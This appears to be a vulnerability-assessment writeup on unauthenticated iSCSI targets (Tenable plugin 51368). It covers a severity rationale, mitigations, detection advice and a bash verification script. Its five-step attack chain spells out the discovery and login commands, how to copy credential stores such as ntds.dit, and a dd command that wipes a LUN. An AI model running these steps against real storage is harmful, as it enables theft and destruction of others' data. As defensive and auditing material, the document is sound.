Someone left the SAN's front door wide open and hung a sign that says 'take a LUN'
Tenable plugin 51368 is a configuration finding, not a CVE. It fires when the scanner speaks iSCSI to a target on TCP/3260 and the target accepts a login without demanding CHAP authentication. iSCSI is the protocol that carries raw SCSI block commands over TCP — the same commands your hypervisor or database uses to read/write disk sectors on a SAN. Any initiator that can reach the portal can enumerate targets via SendTargets, log in, and mount the LUN as a local block device. Affected 'versions' aren't a software range — this is a misconfiguration in the target daemon (Linux tgtd/LIO, Windows Server iSCSI Target, NetApp, Dell EMC, Synology, QNAP, TrueNAS, HPE, etc.). Anything speaking RFC 3720/7143 that omits CHAP AuthMethod is in scope.
Vendor severity HIGH is fair, and arguably conservative. The finding has no CVSS attached because it's a config issue, but the impact model matches an unauthenticated remote data-plane exposure: read/write access to the entire LUN, which frequently backs VMware datastores, Hyper-V CSVs, SQL/Oracle data files, or Veeam/Rubrik backup repositories. Whether it stays HIGH or floats to CRITICAL depends entirely on what the LUN is holding and who can reach port 3260 — and in most shops the storage VLAN is far more porous than the storage team believes.
5 steps from start to impact.
Reach the iSCSI portal on TCP/3260
nmap -p3260 --open or masscan.- L3 reachability to portal IP
- TCP/3260 not filtered by ACL/host firewall
- Well-run shops isolate iSCSI on a dedicated storage VLAN with no client routing
- Some appliances bind iSCSI only to a specific NIC
nmap --script iscsi-infoEnumerate targets via SendTargets discovery
iscsiadm -m discovery -t sendtargets -p <ip> (Linux) or iscsicli QAddTargetPortal (Windows), the attacker lists every IQN advertised by the portal. No credentials are requested because discovery-phase CHAP is off.- open-iscsi/iscsiadm or Windows iSCSI Initiator installed on attacker host
- Discovery-only CHAP (
discovery.sendtargets.auth.authmethod = CHAP) if configured blocks this — but the plugin fires precisely because it isn't
/var/log/messages on Linux targets and to the Microsoft-Windows-iSCSI-Target event log; most SIEMs ignore these unless explicitly onboardedLog in to target and attach LUN
iscsiadm -m node -T <iqn> -p <ip> --login completes the session. Kernel exposes the LUN as /dev/sdX. On Windows: iscsicli QLoginTarget. Attacker now has raw block access.- Session-phase CHAP is also disabled (typical when discovery CHAP is off)
- ACL by IQN/IP is absent or trivially spoofable
- IQN-based ACLs on the target (
initiator-nameallowlist) — but IQN is client-declared and spoofable - Initiator IP allowlists — real barrier if enforced
Read/write the raw block device
file -s /dev/sdX, parted -l, mount -o ro. If it's a VMFS datastore, use vmfs-tools or vmfs6-tools to read VMDKs offline. If NTFS/ReFS, mount and copy hive files, ntds.dit, database MDFs. Writes are catastrophic — corrupting the LUN takes seconds.- Filesystem/format known or brute-forceable
- For live LUNs, filesystem locks may cause corruption if written concurrently
- Encrypted-at-rest LUNs (SED, vSAN encryption, BitLocker on the guest) blunt read impact but not write/destruction
- Reservation/locking on a live shared VMFS may reject writes
Extract secrets or destroy the backing service
SYSTEM hive dumps, kerberos keys, backup catalogs, database files — no EDR runs against an offline disk. Alternatively, wipe the LUN header (dd if=/dev/zero of=/dev/sdX bs=1M count=100) to detonate the workload. Chained with a hypervisor datastore, this reaches fleet scope.- Time on target before the storage admin notices session
- Snapshot/replication schedule may allow recovery of destroyed LUN
- Encrypted VMDK requires the KMS key for meaningful read
AuthMethod=CHAP for both discovery and normal sessions and configure a strong shared secret. On Linux targetcli, set set auth userid=... password=... per ACL. On Windows iSCSI Target Server, set CHAP under target properties. Deploy within 30 days per noisgate mitigation SLA.igroup with initiator and os_type bindings; on Dell EMC use Host Access; on Linux LIO use acls/ with mapped_luns. Do this alongside CHAP, not instead of.traceroute from a user segment — you should get 'no route to host'./var/log/messages, Windows Microsoft-Windows-iSCSI-Target/Operational) to the SIEM. Detection rule: session login where source IP is not in the hypervisor/DB allowlist.- Guest-OS BitLocker / LUKS — does not protect the LUN from being read raw (ciphertext exfil is still exfil, and offline attacks against weak keys are viable) and does nothing against destructive writes.
- Host EDR on the hypervisor — the rogue initiator is another machine entirely; the hypervisor's EDR never sees it.
- Storage array 'audit logging' with default settings — most arrays log session events but nobody watches them; audit without SIEM ingestion is theater.
- Renaming IQNs to obscure strings — SendTargets discovery returns them regardless; obscurity is not a control.
- CHAP one-way (target auth only) — protects the initiator from a rogue target but not the target from a rogue initiator, which is the direction of this attack.
The supporting signals.
| Finding type | Configuration — not a CVE, no fixed version; Tenable plugin 51368 in the Misc. family |
|---|---|
| Vendor severity | HIGH (no CVSS vector published by Tenable for this plugin) |
| Reassessed CVSS-equivalent | ~7.8 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H if externally reachable; ~6.5 if strictly on isolated storage VLAN) |
| In-the-wild status | Not KEV-listed (config finding, not tracked). Ransomware crews *routinely* pivot through unauthenticated iSCSI to reach VMware datastores — see Mandiant M-Trends and CISA advisories on ESXi-targeting groups (Akira, Black Basta, RansomHouse) |
| PoC availability | Trivial — iscsiadm, nmap iscsi-info NSE script, Metasploit auxiliary/scanner/misc/iscsi_login, vmfs-tools for offline VMFS parsing |
| EPSS | N/A — no CVE assigned |
| Exposure telemetry | Shodan port:3260 returns ~15,000–20,000 internet-exposed iSCSI portals globally; a meaningful fraction respond to SendTargets without CHAP. Internet exposure of iSCSI is malpractice; internal exposure is the real population |
| Affected products | Any iSCSI target: Linux tgtd/LIO/SCST, Windows Server iSCSI Target, NetApp ONTAP, Dell EMC Unity/PowerStore, HPE Nimble/3PAR, Pure, Synology, QNAP, TrueNAS, Nutanix Volumes |
| Fix | Enable mutual CHAP on both discovery and normal sessions; enforce initiator IQN + IP ACLs; bind portal to isolated storage VLAN; consider IPsec for iSCSI per RFC 7146 |
| Reference | RFC 7143 §12 — iSCSI security requirements |
Sources.
- Tenable plugin 51368 — iSCSI Unauthenticated Target Detection
- RFC 7143 — Internet Small Computer System Interface (iSCSI) Protocol
- RFC 7146 — Securing Block Storage Protocols over IP: RFC 3723 Requirements Update for IPsec v3
- Nmap NSE — iscsi-info script
- Metasploit — iSCSI login scanner module
- Linux open-iscsi initiator documentation
- CISA / Mandiant M-Trends — ESXi/hypervisor-targeting ransomware trends
- vmfs-tools — offline VMFS parsing
Why this verdict
- Role multiplier — canonical high-value tier: iSCSI targets almost never back low-value roles. The LUN carries VMware datastores, SQL/Oracle data files, Exchange DBs, or Veeam/Rubrik repositories. A successful chain reads or destroys the workload's disk beneath the OS — bypassing EDR, DLP, and application ACLs entirely.
- Zero exploitation cost: the 'exploit' is running
iscsiadm --login. No memory corruption, no auth bypass logic, no version-specific offsets. Any Linux workstation or WSL install becomes a weaponized initiator in under 60 seconds. - Friction floor — internal reachability: in reasonably segmented shops the portal lives on a storage VLAN with no client route, which is what keeps this from being CRITICAL. But 'internal only' means a compromised jump host, hypervisor management interface, or backup admin workstation gets there, and flat-network mid-market shops expose it far more broadly.
- Detection asymmetry: hypervisor-side tooling is blind to a rogue initiator's session because the read/write happens at the array. You are relying on the storage admin noticing an unfamiliar IQN in the session table, which almost never happens.
- No patch, only configuration: unlike a CVE, this doesn't age out with a version bump. It remains true until someone flips CHAP on and audits ACLs — a deliberate act.
Why not higher?
Not CRITICAL because the overwhelming majority of iSCSI portals are not directly internet-reachable — Shodan's ~15–20k global exposure is a rounding error against the installed base. The chain requires the attacker to already be inside a network segment that routes to the storage VLAN, which is a real (if often weak) barrier.
Why not lower?
Not MEDIUM because when the chain lands, the outcome is unauthenticated read/write on a LUN that typically holds hypervisor datastores or database files. The friction is one-VLAN-hop of network reachability, not multiple compromise stages, and no user interaction, credential theft, or memory-corruption reliability engineering is involved.
Crowdsourced verification payload.
Run this from an auditor workstation on the same segment as the storage portal (or the storage VLAN via a jump host). Requires open-iscsi installed and root for the discovery calls. Invoke as: sudo ./check_iscsi_auth.sh 10.20.30.40 where the argument is the target portal IP. Outputs VULNERABLE / PATCHED / UNKNOWN.
#!/usr/bin/env bash
# noisgate: iSCSI Unauthenticated Target check (Tenable 51368)
# Usage: sudo ./check_iscsi_auth.sh <portal_ip> [port]
set -u
TARGET="${1:-}"
PORT="${2:-3260}"
if [[ -z "$TARGET" ]]; then echo "usage: $0 <portal_ip> [port]"; exit 2; fi
if ! command -v iscsiadm >/dev/null 2>&1; then echo "UNKNOWN: open-iscsi/iscsiadm not installed"; exit 3; fi
if [[ $EUID -ne 0 ]]; then echo "UNKNOWN: must run as root"; exit 3; fi
# 1. Is the portal reachable?
if ! timeout 5 bash -c "</dev/tcp/${TARGET}/${PORT}" 2>/dev/null; then
echo "UNKNOWN: TCP/${PORT} unreachable on ${TARGET}"; exit 3
fi
# 2. Ensure discovery-phase CHAP is OFF on our initiator so we exercise the target's requirement
sed -i 's/^discovery.sendtargets.auth.authmethod.*/discovery.sendtargets.auth.authmethod = None/' /etc/iscsi/iscsid.conf 2>/dev/null || true
systemctl restart iscsid 2>/dev/null || service iscsid restart 2>/dev/null || true
# 3. Attempt anonymous SendTargets discovery
DISC=$(timeout 10 iscsiadm -m discovery -t sendtargets -p "${TARGET}:${PORT}" 2>&1)
RC=$?
if [[ $RC -ne 0 ]]; then
if echo "$DISC" | grep -qiE 'auth|chap|permission|forbidden|reject'; then
echo "PATCHED: portal requires authentication for discovery"; exit 0
fi
echo "UNKNOWN: discovery failed rc=$RC msg=$DISC"; exit 3
fi
IQNS=$(echo "$DISC" | awk '{print $2}' | grep -E '^iqn\.' | sort -u)
if [[ -z "$IQNS" ]]; then echo "UNKNOWN: no IQNs returned"; exit 3; fi
# 4. Try a non-persistent normal-session login to the first target
FIRST=$(echo "$IQNS" | head -1)
LOGIN=$(timeout 10 iscsiadm -m node -T "$FIRST" -p "${TARGET}:${PORT}" --login 2>&1)
LRC=$?
if [[ $LRC -eq 0 ]]; then
echo "VULNERABLE: unauthenticated session established to ${FIRST} on ${TARGET}"
iscsiadm -m node -T "$FIRST" -p "${TARGET}:${PORT}" --logout >/dev/null 2>&1
iscsiadm -m node -T "$FIRST" -p "${TARGET}:${PORT}" -o delete >/dev/null 2>&1
exit 1
fi
if echo "$LOGIN" | grep -qiE 'auth|chap|reject|forbidden'; then
echo "PARTIAL: discovery unauthenticated but session-phase auth enforced on ${FIRST}"; exit 1
fi
echo "UNKNOWN: login rc=$LRC msg=$LOGIN"; exit 3